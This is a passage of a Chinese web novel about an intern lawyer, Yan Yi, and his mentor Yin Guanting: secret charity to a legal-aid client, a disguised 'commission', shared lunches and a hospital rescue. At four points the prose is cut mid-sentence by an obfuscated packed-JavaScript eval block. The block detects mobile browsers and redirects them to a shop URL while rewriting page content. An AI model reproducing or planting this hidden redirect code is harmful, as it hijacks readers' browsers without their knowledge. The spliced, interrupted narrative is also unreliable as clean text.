说话间正好到了休息间，尹观庭示意严熤去热饭，自己则是去楼下的餐馆吃饭了。 严熤看上去是真的想减脂塑身，连着三四天都是自己带的简单午餐，尹观庭本来也没在意，直到前台的小姑娘来找他，说有个老太太找严熤。 严熤刚被他打发到法院去跑腿，而且怎么有人找的是严熤而不是他？ 尹观庭满腹狐疑，让前台小姑娘把人带到了会客室。 会客室里待着的是一个身形佝偻的老太太，年纪看上去已经很大了，皱纹几乎覆盖了五官，看上去像一截干枯的树皮，她穿着陈旧但干净的布衣，手里提了一个塑料袋，隐约能看见鸡蛋一样的事物，她站在中央CBD高档写字楼豪华的会议室里，显得局促又格格不入。 尹观庭在脑子里检索了一下，确认了她的身份，挂在自己名下那个法援案件的当事人，杨琴芳。 于是他开口问道：“请问是杨琴芳女士吗？我是律协指派给你的援助律师，您过来是有什么事情需要帮助吗？” 杨琴芳显然不明白法援律师挂靠之类的东西，闻言有些茫然，忍不住问道：“不是小严律师吗？” 她问得没头没尾，但是尹观庭听懂了，解释道：“严熤是我的助理……您可以理解为我是他的领导。” 杨琴芳恍然，接着显得很是高兴：“你是领导啊！那这些东西可以转交给小严嘛？我自己做的不值钱，谢谢他帮我。” 说着把手里的塑料袋递了过来。 尹观庭接过来一看，塑料袋里装了一些卤味，卤蛋、毛豆、莴笋之类的，虽然都是素菜，但种类还挺齐全。 尹观庭……尹观庭其实有些懵，这个案子他基本没过问，李昀会定期反馈，而且李昀也不是什么萌新，不可能出大问题，于是他也不知道严熤在这里面又做了什么事情。 于是他只能向杨琴芳询问。 在两人一问一答期间，总算是搞清楚了为什么杨琴芳要大老远进城一趟给严熤送吃的。 杨琴芳和老伴儿无儿无女，相依为命，而老伴儿入院治疗之后，家里不仅少了一个劳动力还多了一大笔欠款，虽然龙岗社区给了一些帮助，但杯水车薪，于是老人只能自己做些小吃去摆摊，结果前天晚上，严熤下班回家竟然刚好碰上了杨琴芳，问了问她的近况之后，昨天就带了一袋米和几公斤肉到了她家里，还给她留了两万块钱。 看得出来老人接受这么大笔钱很是良心不安，但是欠了医院一大笔钱，老伴儿还在医院吊着命，赔偿款迟迟不见踪影，自己生活难以为继，她又确实无法拒绝，只能做点卤味给严熤，勉强尽一些心意。 在她诉说的过程中，尹观庭始终保持着沉默。 他总算是知道严熤最近的减脂餐是怎么回事了，相比于点外卖，自己做饭确实能节省很多成本，何况严熤最近的菜色基本都是鸡肉和一些价格不贵的绿叶菜，很少见到猪肉牛肉水果这些价格更贵的食物，明显是有意识地控制着自己的支出。 天人和对待实习律师确实非常大方，但再怎么大方天花板就在那里了，以C市的物价和严熤租房的地段，他每个月能存下一千就算是非常厉害了，严熤才刚毕业，就算有在一些薪资十分可观的红圈所内实习的经历，两万块也绝对不是小数字，说不定是全部的积蓄。 尹观庭心情十分复杂，说得上来说不上来的情绪交织一起，竟然显得十分平静，他安静地听完老人说的，替严熤接下来礼物，又送走了老人，最后把杨琴芳送来的小吃放在了严熤的工位上，自己回了办公室。 “我朋友都说我圣母病，天天庸人自扰。” 严熤的自我评价突然出现他脑海里，尹观庭沉默地坐在办公桌后面，回想着严熤当时说这句话的神态。 轻松又坦诚，他知道这是什么样的评价，知道这样做的后果并且愿意承受。 不知道过了多久，尹观庭从自己的思绪中醒过来，拿起手机给财务发了条信息，之后把视线转回了电脑屏幕上，继续刚才未完成的工作。 下午临近下班的时候，严熤带着清溪村项目刑事案件的卷宗从C市中院回来，一眼就看见自己工位上摆放的卤味，有点茫然，对着旁边工位的小陶律师问道：“这是你给我的？” 小陶抬头，羡慕嫉妒恨：“尹律给你的，你老板竟然还给你买卤味！主任什么时候给我们买吃的！” 严熤嘴角一抽：“主任不是在柜子里放了一大堆零食吗？” “那是给全所的不是给我们的！”小陶十分哀怨地看他一眼，转过头继续和工作奋斗了。 你难道不算在全所里的人嘛，严熤默默吐槽，想了想，干脆等了一会儿把案卷从光盘里拷到移动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740060|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬盘里，拿着移动硬盘进了尹观庭办公室，准备一边交差一边谢谢尹大状的投喂。 尹观庭接过了硬盘，对严熤的感谢轻描淡写地解释了一句：“那个是杨琴芳给你的谢礼，你不在，我帮你收了。” 严熤的微笑僵在了脸上。 他可没忘记尹观庭“少点同理心”的提醒，结果这会儿就同理心发作把存款基本给了出去，就留了一点基本生活费可以熬到下次发工资，谁能想到杨琴芳居然找到了律所里来，还被尹观庭遇到了，本来这种事情只要严熤愿意就可以心安理得，但严熤不知道为什么，就是一阵阵的心虚。 他偷瞄一眼尹观庭，发现他面色平静，没什么看法要发表的样子，于是尬笑两声，打了个招呼之后脚底抹油飞快溜了。 尹观庭看着他跑得飞快的背影，突然有些想笑。 于是他笑了笑。 严熤两个庭之间间隔只有一个星期，期间还包括了一个周末，于是平时除了处理尹观庭交代下来的非诉讼项目，还得兼顾着杨琴芳的这个案子，越是临近开庭，老人的情绪就越不稳定，严熤不得不多花一些时间在和杨琴芳的沟通上。 李昀这个人精自从发现严熤的好用后，基本把和杨琴芳沟通的事情都丢给了他，自己只负责和法院联系。 8月26日晚上临近八点的时候，严熤刚刚安抚好因为第二天开庭有点紧张的杨琴芳，就发现银行短信提醒天人和律师事务所向他转了一笔五万的费用，备注是案件提成。 严熤愣住了。 过了好久才想起来给尹观庭打个电话。 一接通，严熤几乎是脱口而出：“师兄我收到一笔五万的费用你是不是转……” “郑总那个案子的提成。” “……错了。” 电话里一时间静了下来。 尹观庭不得不重复了一遍：“郑总的那个案子的律师费到账了，基本都是你在处理，所以这是给你的提成，没转错。” “……我也没做什么，”严熤小小声，“这是不是太多了。” 尹观庭云淡风轻：“还行，这个案子的律师费是85万，给了你一个零头而已。” “？？？”这扑面而来的凡尔赛直接把严熤整不会了，半天没能说出话。 尹观庭隔着电话都能想象出他目瞪口呆的样子，笑了起来：“行了，给你就拿着，还有人嫌钱多吗？早点休息吧，我挂了。” 严熤拿着挂断的手机愣神几秒，后知后觉地高兴涌上来，他看了下摆在门口的购物袋——本来他打算卡在八点的时间去附近的商场卖点打折商品的——至于现在，谁要大半夜出门！ 他把手机往床上一丢，坐到电脑前开始聚精会神地打游戏。 严熤第二天的开庭定在下午三点，他和李昀决定在律所吃了午饭再去法院。 于是中午的时候尹观庭就看见严熤提着一份外卖优哉游哉地下楼吃饭。 那个外卖似乎是附近一个网红披萨店，人均50起步来着。 尹观庭：“……” 算了，也是好事。 13. 第 13 章 按照法律规定，一个当事人只能有两名律师，而这个案子挂在尹观庭名下，尹律就占了一个名额，严熤实习律师不能单独上庭，因此另外一个代理律师只能是李昀。 没有代理资格的严熤其实主要是陪着杨琴芳在庭下旁听，比起上次那个调解结案的案子，这次起码算是正常跟完了一整个庭审过程。 等开完庭，保险公司的律师走过来，友好打了一个招呼之后，从文件袋里“唰啦”拉出来一堆文件。 “李律师，这个是保险公司理赔的材料，先让当事人签一下吧，等判决下来我们就按金额理赔，现在签了省得后面还得来公司补手续。” 李昀十分自然地伸手接过，指导着杨琴芳签字捺印，严熤这边正看着呢，就听到那位律师提高声音喊了一句：“林先！林先在吗？” 一个坐在角落的中年男人闻声走了过来，女律师同样抽出一沓纸递过去，重复了一遍刚刚的说辞。 严熤嘴角抽了抽，敢情法院是按保险公司排的庭吗？ 基层法庭处理批案的效率给了严熤一点小小的震撼，在把杨琴芳送回家后，他和李昀开车回律所，不由得又把话题转到了这个事情上。 “这种事儿多了去了，现在基层法院压力都要爆仓了，你知道去年晏河区法院人均结案率是多少吗？420！好家伙平均一天一件多，这些法官要是再不想点法子那是真的没法干了。” 李昀摇头摆尾，十分感慨，活像在法院工作的是他。 严熤已经和他混的非常熟了，闻言忍不住挤兑：“那你还不体谅下法官，天天催人家排庭。” “啧，”李昀斜眼，“小同志不懂了吧，就是他们案子太多了才要一直催，不然转头就给你忘了，我们有个案子年前，1月初开的庭！现在7月底，这么久了判决还没下呢，昨天才让新来那实习生打电话催，法助说安排写的判决还没排到我们，这案子还是全风险，没判决就拿不到律师费，你说这上哪儿说理去。” 严熤很是同情：“大家日子都不好过啊，话说主任还接全风险的案子呢？我上次听师……尹律说主任一直很反对接这种案子。” 李昀：“是啊，谁都不想接这种全风险的，但这不是人情案嘛，没办法。” 说道人情案，严熤突然想起来郑总那个案子似乎也是人情案，于是顺口问了一句：“昀哥你认识郑川吗？他那个民间借贷纠纷的案子好像就是人情案来着……” 严熤话音未落，李昀一拍大腿：“可不是！我跟你讲这案子可坑了，真的，要不是明河就是我们律所最大的金主爸爸，尹律估计鸟都不会鸟姓郑的，那货放贷放了一堆，结果不找催收公司找律师，还非说什么律师专业不会犯法，我可去他的吧！” 严熤没想到背后还有这种事情，嘴角抽了抽：“但……好像给钱还很大方？” “大方个屁，他那批案子说是尹律和我们一起合作，事实上大头都是尹律自己做的，27个案子打包收了85万律师费，那老家伙还嫌贵，靠，白菜价了好吧！啧，说来说去还是那句话，要不是明河集团是爸爸……” “等等等等……”严熤瞪圆了双眼，“多少？！27个案子收了85万？？” “对啊，这案子就是我跟着主任还有尹律去谈的，你也觉得离谱对吧，要不是小谭总……” 李昀后面喋喋不休的抱怨严熤基本没听进去，他的脑子已经有点不会转了。 27个案子85万，平均下来一个案子律师费只有3万左右，而且这是和主任团队一起去谈的，那势必还有主任团队的分成，尹观庭只会拿的更少，而严熤只做了一个案子，尹观庭给了他5万律师费提成。 联想到那天杨琴芳来所里的事情，要是还猜不出来这是尹观庭找借口给他接济，那严熤基本可以和智商说拜拜了。 想通了这一层，严熤相当无措。 从小到大他接触过黑暗的一面，也有很多人向他表达善意，但是还没有人像尹观庭这样让他不知道……如何报答。 平心而论，尹观庭是一个很好的老板兼师父，他对工作要求确实非常严苛，但他也从不吝啬指导，而且给钱大方，工作之外情绪平静到冷漠，不会把律师助理当生活助理使唤，在律师这种尚且保留着学徒制影子的行业来说，入行之初就跟了这样的律师是无数法学生梦寐以求的。 严熤虽然不会贬低自己，但不得不承认他确实还只是个新人，直到现在，他反馈给尹观庭文件还是需要经过修改，事实上除了一些程序上的杂活，他并不能减少尹观庭多少工作负担。 他想不到什么理由可以让尹观庭这么帮他。 毕竟那些曾经帮助过他的人，都对严熤有着自己的希望和要求，严熤知道自己应当如何回馈，可尹观庭完全没有这方面的理由，他看上去对严熤也没什么要求（工作要求除外），甚至要不是今天李昀把这件事说出来，根本看不到郑总代理合同的严熤恐怕一直会把那5万块当成正常的工资。 那现在接受了这样的好意，要怎么回馈呢？ 严熤睁着眼睛盯着窗外的车流发了一会呆，接着想起什么似的，从好友列表里拉出一个几乎很少联系的账号，发了一条信息。 第二天中午，尹观庭准备下楼吃饭的时候，被严熤叫住了。 尹观庭转头一看，严熤今天竟然没有点外卖，还是带了一个相当精致的糖果色的保温桶，看上去就很能装。 面对尹观庭疑惑的神色，严熤突然有点不好意思，咳了咳才说道：“那个，师兄，我知道那个提成的事了，虽然说这个钱对你可能不算什么，但我还是觉得受之有愧，就……那什么……” 尹观庭虽然不知道为什么严熤突然就知道了，但难得见到他这样犹犹豫豫地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740061|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子，有点好笑：“所以呢，你要还给我吗？” 严熤还在酝酿的台词突然就飞了，反应就显得有点卡顿：“啊……那……那我还给你？” “……”尹观庭忍了忍，没忍住，最后还是笑了出来。 严熤捧着保温桶看着他，虽然不知道为什么，但还是感觉脸上都快烧起来了。 等尹观庭笑够了，才摇了摇头：“行了，就当年终奖吧，你今年年终奖没了。所以你叫住我就是要跟我说这个？” “不是不是，”不知道为什么听到年终奖没了，严熤反而松了一口气，“是我听主任说你胃不太好，而且你经常去的那个快餐店我去过，用料不太新鲜还不好吃，所以我寻思了一下，要不以后我给你带午饭吧。” 严熤举了举手里的保温桶。 “虽然我也不是什么大厨，但是用料绝对干净卫生，而且以前给同学老师们做也是好评居多，你要不……尝尝？” 尹观庭对上他亮晶晶的眼神，不期然就想到了严熤留宿那天上午的早餐，虽然速冻水饺做不出什么花儿，但严熤调的蘸料确实让他印象深刻，严熤说自己厨艺不行大概率是真的谦虚。 而且，尹观庭看着面前的青年。 面对这样的一张脸这样的一个人，有几个人说得出拒绝的话？ 于是他点点头，接过了严熤手里的保温桶：“那行，我就不跟你客气了，楼下那家快餐味道确实不太行。” 接过保温桶后发现严熤两手空空，尹观庭忍不住问了一句：“你自己怎么吃？” “啊？”见尹观庭接受了，严熤正开心呢，闻言随口回道：“外卖啊，我的外卖已经到了，正准备去拿呢。” 尹观庭：“……所以你只给我做了？” 严熤不明所以：“是啊，你胃不好嘛，做得比较清淡，如果有什么忌口也可以跟我说的。” 尹观庭：“……” 着实不能理解他都做了一个人的饭了，怎么就不能把自己的一起做了？ 尹观庭头疼：“你……如果你明天还要给我带饭的话，连你自己的一起做了吧，我们一起吃。” 严熤……严熤第一反应是拒绝。 打工人谁会想和老板一起吃饭啊，老板再和蔼可亲都不行。 但尹观庭很坚持：“你现在是实习律师，以后执业后就会是我团队的律师，虽然我现在接受你的好意，但不想搞得我们之间像是厨师和雇主，你明白吗？” 他一严肃说话就会不自觉地带着一股压人的气势，严熤最后还是没敢拒绝，只能弱弱地补充一句：“那我估计要做川菜了。” 尹观庭收敛下去的笑意又浮了上来：“随便你，我不挑食。” 说完，他提着严熤的保温桶回了自己办公室。 严熤对着他的背影长吁短叹一通，下楼领取自己最后一顿外卖去了。 14. 第 14 章 8月虽然只剩下了一个尾巴，但在9月来临前严熤还是十分迅速地适应了和老板一起吃饭的生活，诚如他所言，外卖吃多了也很腻，严熤自己手艺其实很好，也爱吃会吃，只不过一个人懒得下厨，现在有了个饭搭子，钻研的热情又上来了。 尹观庭看了看今天的午饭，蟹黄豆腐煲、清炖牛肋排、蒜蓉生蚝……不由自主地开始怀疑严熤钱包的生命值。 “你最近钱还够用？”随着时间推移，尹观庭跟严熤说话是越来越不客气了，当然以前他也挺不客气的，只不过保有分寸，不客气都在工作上。 严熤正忙着把菜摆出来，闻言随口回答：“够啊，挺多的。” 尹观庭又看了一眼这大鱼大肉的午饭，实在不怎么相信严熤嘴里的“够用”。 于是他说：“我先把这两天的饭钱付给你，下个月开始这些就计算到你的工资里，我会和财务说的。” 严熤拿菜的手一顿。 他很认真地看着尹观庭：“师兄，我做这个本来就是为了答谢你，如果你跟我这么算，那我做这些就显得很没意义。” 尹观庭抬眼：“如果我那次不给你提成，会对你生活有什么影响吗？” 严熤一时有些跟不上他的思路：“啊？那倒也不会吧，最多就是那几天省着点花钱呗。” “那就是了，”尹观庭用筷子敲敲碗，示意严熤坐下来，“从严格意义上讲，我也没有帮到你什么，最多让你在发工资之前的日子好过了一点，但我认为这并不值得你一直费劲为我做午餐。” 严熤张张嘴，想说那不叫没帮到什么，而且做饭也不是只为了你，我自己也想吃只是一个人不太方便做，做了吃不完…… 但尹律控场习惯了根本不会把回合交出去，直接一锤定音：“好了，这件事不用讨论，你就当是最近表现优异涨了工资吧，毕竟具体的金额我也不会和你细算。但我还是建议你量力而行，而且可以随时停止。” “放心放心，尹律放心，我肯定不会委屈自己，不会逞强的。”话都说到这份上了，严熤当然不会矫情，心安理得地收下了意外之财，一边招呼尹观庭吃饭一边在脑子里滚菜谱，开始给那些自己想吃但一直懒得做的菜编排出场顺序。 尹观庭不知道他的脑内活动，但肉眼可见地午饭越来越丰富，味道也一直在水准之上，如果说刚开始尹观庭还思考这样是不是不太好，但时间一久就很快就发现严熤根本乐在其中，最直观的例子就是这小子开始尝试一些黑暗料理，并且把自己当小白鼠了。 尹观庭看着面前这个看上去像是酸汤肥牛但是闻起来味道有些怪的东西，问道：“这是什么？” 严熤相当快乐：“这个叫牛奶酸汤肥牛，加了牛奶之后酸辣味就被中和了很多，感觉有些西式风味，有味道又不会很刺激，专门给师兄你做的，尝尝看？” 尹观庭“不”字基本已经到了嘴边，但和严熤那双清亮的眼睛一对上，出口的话就变成了：“行吧我试试看。” 抱着试一试应该不会死的心态，尹观庭尝了一口，味道竟然还不错，这让他对严熤厨艺的评价又上了一层楼。 “好吃吗好吃吗？”严熤相当期待。 尹观庭点点头。 严熤松了一口气的样子：“竟然真的还可以？” 尹观庭：“……你说什么？” “啊没什么没什么，师兄你快吃饭吧，你下午不是还要去见客户吗，多吃点。” “……” ------------------------------------- 王信鸿自从上次把宏远清溪村的项目拿下来之后，就开始陪着宏远的张总到处谈判，虽然结果如尹观庭判断一样，大家最终还是得法庭上见，但律师说白了也是服务业，所以他这个律所主任也得随时陪同，以便客户能感受到服务的热情。 王主任在外边跑了半个月后，总算是回到了老巢，第一件事就是找尹观庭诉苦。 然后在尹观庭办公室门口就闻到了一阵阵的香味，透过半掩的门往里面一看，严熤坐在尹观庭对面，正在专心吃饭。 王信鸿敲敲门，和尹观庭对视一眼之后直接推门进去了。 尹观庭一手拿着筷子一手举着手机，看样子正在打电话，看见他进来之后点了个头就算打过了招呼。 王信鸿也随意一点头，很快被香味吸引了，往前一看，好家伙，白灼虾，辣子鸡丁，小炒肉，蒜蓉娃娃菜，甚至还有一盅蔬菜丸子汤，这些菜装在糖果色的保温盘里，已经吃的七七八八，但光遗留下来的味道和菜色，就足以称得上色香味俱全。 王信鸿有些惊异，这显然不会是什么外卖，尹观庭根本不会做饭，这些东西哪来的？ 他对着严熤比了个口型“你做的？” 严熤点头，并且十分殷勤地将仅剩的两只虾剥了一只，沾了一下蘸料，用纸巾垫着递给了王信鸿。 虽然吃过饭了，王信鸿还是十分好奇地接过来了，一入口看向严熤的眼神都变了。 小同志这手艺可以啊！ 王主任一边吃一边用眼神表达赞赏。 严熤笑眯眯。 然后王信鸿就眼睁睁看着严熤把最后一只虾剥壳后放在了尹观庭碗里，尹观庭则是在电话间隙十分自然地夹起来吃了。 王主任看看这个，看看那个，总觉得自己好像不应该呆在这个办公室。 好不容易等尹观庭打完电话，还没等王信鸿开口，尹观庭先说话了：“有事吗？” “没事我就不能来了？”王信鸿这气，“什么态度你！” 尹观庭一时默然：“……” 王信鸿读懂了他的沉默，也觉得自己可能是最近累的脑子有点不清楚，尹观庭不一直这么说话的吗，怎么自己就觉得那句话特别冷漠呢？ 还没等他反省完，尹观庭已经放下筷子交代了严熤几句，让吃完了的小助理先出去了。 王信鸿总算知道自己的别扭哪里来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740062|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的了，尹观庭什么时候和人这么亲近了？一起吃饭就不说了，多久没见过尹观庭这么有温度地跟人说话了？ 尹观庭整理了下桌子，接着就和王信鸿诡异的眼神对上了。 尹观庭：“……你那什么表情？” “啧，你什么时候跟严熤关系这么好了？”王信鸿越琢磨越不对劲，“以前就不说了，你跟个冰雕似的，这几年也没什么人气，怎么跟严熤态度就这么好？” 尹观庭面无表情：“……” 王信鸿继续喃喃自语：“而且上次小严还专门跟我打听你的喜好，我还以为这小孩是想跟你处好关系，你们确实也还处的不错，但是……” 王主任是个与时俱进的律师，越想越有些收不住，眼神逐渐变得怪异且惊恐：“你身边也一直没姑娘……哎！老尹，你可不能犯错误啊！小严才刚毕业，你大了人家八岁呢！你这……你怎么跟李老师交代！” “……闭嘴！”尹观庭听不下去了，“你脑子都是什么东西，出门谈判把脑子谈没了是吧！” 王信鸿半信半疑，且肉眼可见地疑大于信：“不行，你得给我解释清楚，这怎么回事，而且好端端地严熤怎么开始给你做饭了，难不成还是他想追你？哎这说得通啊，他还跟我打听你喜好来着！” “追你个头，”尹观庭揉了揉自己的眉心，脑袋疼，“我跟他什么都没有，正常同事关系，懂？” 王信鸿给了他一个“不懂”的眼神。 尹观庭没辙，知道自己今天不先把这件事说清楚估计是别想谈其他事情了，于是叹了一口气把严熤如何资助当事人他又如何以提成的理由给了一笔钱，最后严熤决定以做午饭来报恩的事情都说了。 王信鸿不东想西想了。 可这还不如东想西想呢！ 要真是尹观庭动了凡心，他这个做师兄的还能高兴下，好歹是那个把自己困在过去的师弟可算是有心注意一下自己了，结果怎么会是这么个情况，绕来绕去居然还他妈能复刻当年！ 师兄弟两个一时相对无言。 先开口的居然是尹观庭：“老王，当年你和李老师都觉得是我过于钻牛角尖了，我知道不是，”尹观庭看着他，眼神竟然还是和当年一样，“那不是牛角尖，那是懦弱，而我甚至到现在都无法面对。” “不是这样！观庭……”王信鸿急急打断，接着他又有些震惊的抬头，“你……” 这么些年一提到那个案子，尹观庭就是一个听不见看不到的回避状态，把自己的过去封闭地死死的，一丝缝隙都不留给外界，而现在，虽然贝壳仍然紧闭，可王信鸿好歹是感受到了水流的声音。 “我当初那么绝望……”尹观庭闭了闭眼，然后睁开，“我当时就希望有人能拉我一把。” 他偏转目光，看向玻璃门后的严熤。 像是透过时光看到了另外一个人。 “所以我拉他一把，就当是拉了当初的我一把。” 虽然他可能并不需要。 15. 第 15 章 王信鸿回来意味着清溪村的谈判宣告结束，针对清溪资产管理公司的诉讼启动，尹观庭带着严熤，主任团队大李律师、小陶等人正式接手了案件的全部资料。 清溪村这个项目，先是对清溪资产管理公司的领导因为贪腐问题被查，接着爆出来串通招投标的问题，宏远在这个项目的负责人基本都因为串通招投标进去了，要不是当初还留了一个心眼，负责项目其实是绕了十里八湾的一个子公司，不然就这一个事情宏远集团估计要被住建局查个底朝天。 “现在的情况也好不了多少，现在国资委直接入驻了，所以清资管从上到下都非常谨慎，任何一笔款项都恨不得查清祖宗十八代，而现在他们和宏远的施工合同无效，而且工程还没有完工，从法律上来说，适用施工合同无效的条款可能存在障碍。” 大李律师把现在的情况大致说了一下，这个案件进入诉讼之后，主要的承办人就是他和尹观庭。 见尹观庭没有表态，于是他接着说道：“而且现在有个很麻烦的事情，串通招投标罪的刑事案卷里，当时的项目负责人杨繁提供了对宏远集团相当不利的证词，里面提到宏远工程部的高级副总裁指使他们以次充好，把供应商换成了副总的关联公司，这件事和串通招投标的关系不大，公安也没有细查，但是存在清资管以此为由拒付工程款的可能。” 尹观庭微微点头：“还有其他的吗？” 大李律师摇摇头：“其他暂时没有，刑事卷宗我还没看完。” “嗯，那你先汇总一下刑事案件里可能对我们不利的情况，宏远那边还在持续和清资管沟通，这方面就由我和主任去对接，严熤和小陶，”尹观庭看向会议室的另外两个人，“你们就负责梳理项目的全部资料，梳理清楚宏远和清资管的合同、往来款项、文书记录、签证资料等，总之和工程有关的所有资料都需要过一遍，还有宏远说他们为清资管垫付了不少供应商的货款，这个记录也必须梳理出来，如果有缺少的，就直接和法务要，严熤负责对接。 “暂时先这样安排，这个工作在一个星期之内完成，下周一我们再碰面安排下一步工作，还有问题吗？” 尹观庭说完，看了看会议室里的人。 大李律师点了点头：“我这边倒是问题不大，但是两个小朋友……这案子的工程资料很多啊。” 小陶和严熤相视苦笑。 小陶不知道，严熤是真的感受到了007的真实压力，尹观庭不知道哪儿的朋友刚给他介绍了一个并购项目，严熤未来一个月的行程基本就是在C市和目标公司所在地之间打飞的，还有成堆的尽职调查资料等他整理，结果那边还没完事呢，这又来个工程纠纷，想想都头大。 忙碌的一周过的飞快，可尹观庭并没有休息的权利。 周六是那个收购案件入场尽调的时间，作为客户的天霞公司也算C市近些年发展极快的企业，这是尹观庭和他们的第一次的合作，难免重视一些。 周六早上七点，尹观庭已经站在了C市国际机场的航站楼里，可本该来跟他会和的严熤却迟迟不见踪影。 尹观庭连续打了几个电话都没人接听。 他们早上八点四十的飞机，此时已经七点二十了，尹观庭看了看不远处值机柜台熙熙攘攘的人群，忍不住皱眉。 要是严熤再不来，一会儿他们恐怕得在候机厅里上演生死时速了。 思索中尹观庭又给严熤打了几个电话，终于在七个未接听后，电话通了。 对面传来一声沙哑地完全听不出音色的声音：“谁啊……” “严熤？”尹观庭不确定地问了一句。 “……”电话那头没有回答，断断续续地呼吸声从听筒传来。 “严熤？！”尹观庭提高声音又喊了一声，呼吸声反而远去了，接着是“咚”的闷响，听上去像是手机砸在了地板上。 尹观庭这下坐不住了。 严熤一个人住，合租室友基本都是在C市打工的年轻人，互相之间约等于陌生人，而严熤看上去在C市也没有什么亲朋好友，在出租屋里出了事还真没人能帮把手。 他一边往出口走一边飞快地给天霞的人打了电话，临时改了一下时间，接着一个电话到了律所行政的手机上，那边很快给尹观庭报了一个地址和电话号码。 尹观庭按照行政给的电话打了过去。 对面没多久接了起来，一个含含糊糊地男声充满倦意地问道：“谁啊？” “余畅先生你好，我是尹观庭，严熤的同事，你是严熤在律所登记的紧急联系人，请问你现在能联系上他吗？”尹观庭走到机场出口、拦车放行李一气呵成，嘴上还不忘说话。 余畅明显被吓清醒了，清晰度和音量都提高了一个等级：“什么？！严熤怎么了！” “目前不清楚，他接了我的电话，但没有出声。”尹观庭十分冷静地回答，倒是把余畅出走的理智给拉了回来。 余畅在宿舍里坐起来，直接摸过对床室友的手机，一边给严熤打电话一边给尹观庭报信息：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740063|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严熤住的是那种公寓，都是密码锁，他家里的两道密码分别是，我现在就通知我爸妈，但他们在县城一时半会儿过不去……你……您是尹律师对吧，能麻烦您先去看看吗？” 余畅的电话显示正在通话中，情急之下只能和尹观庭求救。 尹观庭还是那个冷静的语调：“我正在路上，你不用太着急。” 余畅被他感染总算冷静了几分，挂了给严熤的电话，抹了把脸，诚恳地说道：“谢谢您。” “不用客气，应该的。”尹观庭随口客套，接着干脆地挂了电话。 出租车飞快地从机场高速绕下，冲着市区疾驰而去。 严熤醒过来时只觉得喉咙一阵干痛，下意识地叫道：“水……” 出口声音暗哑，虚弱的不像话。 一双手伸了过来，托起他的脑袋，给他喂了一点水。 严熤喝了几口缓解了喉咙的干痛，这才发现自己躺在医院的病床上，身边做了一个憨厚老实的男人。 他十分惊讶：“余叔？你怎么在这？” “小畅说你病了，我跟你婶婶想着你肯定没人照顾，就来找你了，”余叔慈爱地笑笑，“医生说你急性肺炎，如果不是送医及时，引发休克那就危险了。” 严熤刚醒来还有点懵：“那……那是你们送我来医院的吗？” 余叔道：“不是啊，一个姓尹的小伙子，他说是你同事，他把你送过来还给你交了医药费，本来我还说要谢谢人家，结果他说有个急事马上要出差，看见我跟你婶婶到了就直接走了。” 听到这并不意外的回答，严熤摊在了床上，有气无力地跟余叔解释：“嗯，他是我老板，本来我们今天都要出差的，结果……” 余叔很惊讶：“啊？那这老板是个好人呐……那你以后要好好工作，谢谢人家。” 听到这老生常谈的话，严熤有点想笑，奈何精力实在不允许，只能点点头：“我一会儿给他打个电话，我现在感觉好多了，你跟婶婶要是有事要忙的话……” 余叔眉毛一扬，直接打断了他的话：“说什么浑话，我跟你婶婶肯定要等你好了再走，你婶去给你做饭去了，估计一会儿就回来了，你再睡会儿，睡起来吃点东西。” 严熤刚想说点什么，但嗓子一痒，咳了出来，一咳就停不下来了。 余叔赶紧起身给他顺气，好不容易平静下来，严熤什么力气都没了，倒头直接昏睡了过去。 余叔见他睡熟，给他压压被角，便安静地在一旁守着。 16. 第 16 章 严熤最后还是没吃到余婶给做的营养餐。 他这一昏睡又是一天。 再次睁眼的时候，理智还没清醒，耳朵先听到了哒哒哒敲击键盘的声音。 他睁开有些涩然的眼睛，正好和尹观庭看过来的眼神对上。 尹观庭：“醒了？” 一如既往地平静淡然，仿佛严熤不是躺在病床上而是坐在办公室里。 严熤怔然地看着他。 尹观庭看着他呆呆的眼神，皱了皱眉：“还难受？”说着站起身，似乎想去找医生。 “不……咳咳……”严熤刚想叫住他，结果嗓子一痒咳了起来。 